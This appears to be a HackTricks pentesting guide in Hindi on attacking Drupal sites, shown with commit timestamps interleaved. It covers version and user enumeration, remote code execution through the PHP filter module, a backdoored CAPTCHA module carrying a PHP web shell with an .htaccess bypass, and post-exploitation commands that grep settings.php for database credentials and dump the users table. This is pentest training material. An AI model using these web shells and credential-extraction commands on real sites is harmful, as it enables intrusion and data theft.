hacktricks/network-services-pentesting/pentesting-web/drupal.md

181 lines
14 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Drupal
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
## खोज
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
* **मेटा** की जांच करें
2022-10-02 23:08:05 +00:00
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **Node**: Drupal **अपनी सामग्री को नोड्स का उपयोग करके इंडेक्स करता है**। एक नोड **कुछ भी रख सकता है** जैसे कि ब्लॉग पोस्ट, पोल, लेख, आदि। पेज URIs आमतौर पर `/node/<nodeid>` के रूप में होते हैं।
2022-10-02 23:08:05 +00:00
```bash
curl drupal-site.com/node/1
```
## परिगणना
2022-10-02 23:08:05 +00:00
Drupal मूल रूप से **तीन प्रकार के उपयोगकर्ता** का समर्थन करता है:
2022-10-02 23:08:05 +00:00
1. **`Administrator`**: इस उपयोगकर्ता के पास Drupal वेबसाइट पर पूर्ण नियंत्रण होता है।
2. **`Authenticated User`**: ये उपयोगकर्ता वेबसाइट में लॉग इन कर सकते हैं और अपनी अनुमतियों के आधार पर लेख जोड़ने और संपादित करने जैसे कार्य कर सकते हैं।
3. **`Anonymous`**: सभी वेबसाइट आगंतुकों को अनाम के रूप में नामित किया जाता है। मूल रूप से, इन उपयोगकर्ताओं को केवल पोस्ट पढ़ने की अनुमति होती है।
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
### संस्करण
2022-10-02 23:08:05 +00:00
* `/CHANGELOG.txt` की जाँच करें
2022-10-02 23:08:05 +00:00
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
Drupal की नई स्थापनाएँ डिफ़ॉल्ट रूप से `CHANGELOG.txt` और `README.txt` फ़ाइलों तक पहुँच को अवरुद्ध करती हैं।
2022-10-02 23:08:05 +00:00
{% endhint %}
### यूजरनेम अनुमान
2022-10-02 23:08:05 +00:00
#### रजिस्टर
_/user/register_ में बस एक यूजरनेम बनाने की कोशिश करें और अगर नाम पहले से लिया गया है तो इसकी सूचना दी जाएगी:
![](<../../.gitbook/assets/image (254).png>)
2023-11-06 08:38:02 +00:00
#### नया पासवर्ड अनुरोध
अगर आप मौजूदा यूजरनेम के लिए नया पासवर्ड अनुरोध करते हैं:
![](<../../.gitbook/assets/image (255).png>)
अगर आप गैर-मौजूदा यूजरनेम के लिए नया पासवर्ड अनुरोध करते हैं:
![](<../../.gitbook/assets/image (256).png>)
### यूजर्स की संख्या प्राप्त करें
_/user/\<number>_ तक पहुँचकर आप मौजूदा यूजर्स की संख्या देख सकते हैं, इस मामले में 2 है क्योंकि _/users/3_ एक नहीं मिला त्रुटि देता है:
![](<../../.gitbook/assets/image (257).png>)
![](<../../.gitbook/assets/image (227) (1) (1).png>)
### छिपे हुए पेज
**`/node/$` को Fuzz करें जहाँ `$` एक संख्या है** (उदाहरण के लिए 1 से 500 तक)।\
आप **छिपे हुए पेज** (टेस्ट, डेव) पा सकते हैं जो सर्च इंजनों द्वारा संदर्भित नहीं किए जाते हैं।
2021-09-20 10:57:53 +00:00
#### स्थापित मॉड्यूल की जानकारी
2021-09-20 10:57:53 +00:00
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
2023-11-06 08:38:02 +00:00
### स्वचालित
2022-10-02 23:08:05 +00:00
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
2023-11-06 08:38:02 +00:00
### PHP Filter Module के साथ
2022-10-02 23:08:05 +00:00
{% hint style="warning" %}
Drupal के पुराने संस्करणों में **(संस्करण 8 से पहले)**, एक व्यवस्थापक के रूप में लॉग इन करना और **`PHP filter` मॉड्यूल को सक्षम करना** संभव था, जो "PHP कोड/स्निपेट्स का मूल्यांकन करने की अनुमति देता है।"
2022-10-02 23:08:05 +00:00
{% endhint %}
आपको **plugin php का इंस्टॉल होना आवश्यक है** (इसे _/modules/php_ पर जाकर जांचें और यदि यह **403** लौटाता है, तो, **मौजूद है**, यदि **नहीं मिला**, तो **plugin php इंस्टॉल नहीं है**)
_Modules_ पर जाएं -> (**जांचें**) _PHP Filter_ -> _Save configuration_
![](<../../.gitbook/assets/image (247) (1).png>)
फिर _Add content_ पर क्लिक करें -> _Basic Page_ या _Article_ चुनें -> _php shellcode को body में लिखें_ -> _Text format_ में _PHP code_ चुनें -> _Preview_ चुनें
2023-03-04 19:33:37 +00:00
![](<../../.gitbook/assets/image (253) (1).png>)
अंत में बस नए बनाए गए नोड को एक्सेस करें:
2022-10-02 23:08:05 +00:00
```bash
curl http://drupal-site.local/node/3
```
### PHP Filter Module स्थापित करें
2022-10-02 23:08:05 +00:00
संस्करण **8 के बाद से,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं होता है**। इस कार्यक्षमता का उपयोग करने के लिए, हमें **मॉड्यूल को स्वयं स्थापित करना होगा**
2022-10-02 23:08:05 +00:00
1. Drupal वेबसाइट से मॉड्यूल का सबसे हाल का संस्करण डाउनलोड करें।
2023-11-06 08:38:02 +00:00
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. डाउनलोड हो जाने के बाद **`Administration`** > **`Reports`** > **`Available updates`** पर जाएं।
3. **`Browse`** पर क्लिक करें, फिर डाउनलोड की गई डायरेक्टरी से फाइल का चयन करें और फिर **`Install`** पर क्लिक करें।
4. मॉड्यूल स्थापित हो जाने के बाद, हम **`Content`** पर क्लिक कर सकते हैं और **नया बेसिक पेज बना सकते हैं**, जैसा कि हमने Drupal 7 के उदाहरण में किया था। फिर से, सुनिश्चित करें कि **`Text format` ड्रॉपडाउन से `PHP code` का चयन करें**।
2022-10-02 23:08:05 +00:00
### Backdoored Module
2022-10-02 23:08:05 +00:00
एक backdoored मॉड्यूल **मौजूदा मॉड्यूल में एक शेल जोड़कर** बनाया जा सकता है। मॉड्यूल्स drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए [CAPTCHA](https://www.drupal.org/project/captcha) जैसे मॉड्यूल को चुनते हैं। नीचे स्क्रॉल करें और tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिंक को कॉपी करें।
2022-10-02 23:08:05 +00:00
* आर्काइव को डाउनलोड करें और इसकी सामग्री को निकालें।
2022-10-02 23:08:05 +00:00
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* **PHP वेब शेल** बनाएं जिसकी सामग्री हो:
2022-10-02 23:08:05 +00:00
```php
<?php
system($_GET["cmd"]);
?>
```
* अगला, हमें खुद को फोल्डर तक पहुँच प्रदान करने के लिए एक **`.htaccess`** फाइल बनाने की आवश्यकता है। यह जरूरी है क्योंकि Drupal सीधे **`/modules`** फोल्डर तक पहुँच को मना करता है।
2022-10-02 23:08:05 +00:00
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* ऊपर दिया गया कॉन्फ़िगरेशन / फ़ोल्डर के लिए नियम लागू करेगा जब हम /modules में किसी फ़ाइल का अनुरोध करते हैं। इन दोनों फ़ाइलों को captcha फ़ोल्डर में कॉपी करें और एक आर्काइव बनाएं।
2022-10-02 23:08:05 +00:00
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* मान लीजिए हमारे पास वेबसाइट का **प्रशासनिक पहुँच** है, **`प्रबंधन`** पर क्लिक करें और फिर साइडबार पर **`विस्तार`** पर क्लिक करें। अगला, **`+ नया मॉड्यूल स्थापित करें`** बटन पर क्लिक करें, और हमें स्थापना पृष्ठ पर ले जाया जाएगा, जैसे कि `http://drupal-site.local/admin/modules/install` बैकडोर्ड कैप्चा आर्काइव को ब्राउज़ करें और **`स्थापित करें`** पर क्लिक करें।
* स्थापना सफल होने के बाद, **`/modules/captcha/shell.php`** पर ब्राउज़ करें ताकि आदेशों को निष्पादित किया जा सके।
2022-10-02 23:08:05 +00:00
## पोस्ट एक्सप्लॉइटेशन
2021-04-01 21:42:37 +00:00
2023-11-06 08:38:02 +00:00
### settings.php पढ़ें
```
2021-04-01 21:42:37 +00:00
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
### डीबी से उपयोगकर्ताओं की जानकारी निकालना
```
2021-04-01 21:42:37 +00:00
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
2023-11-06 08:38:02 +00:00
## संदर्भ
2022-10-02 23:08:05 +00:00
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
2022-04-28 16:01:33 +00:00
</details>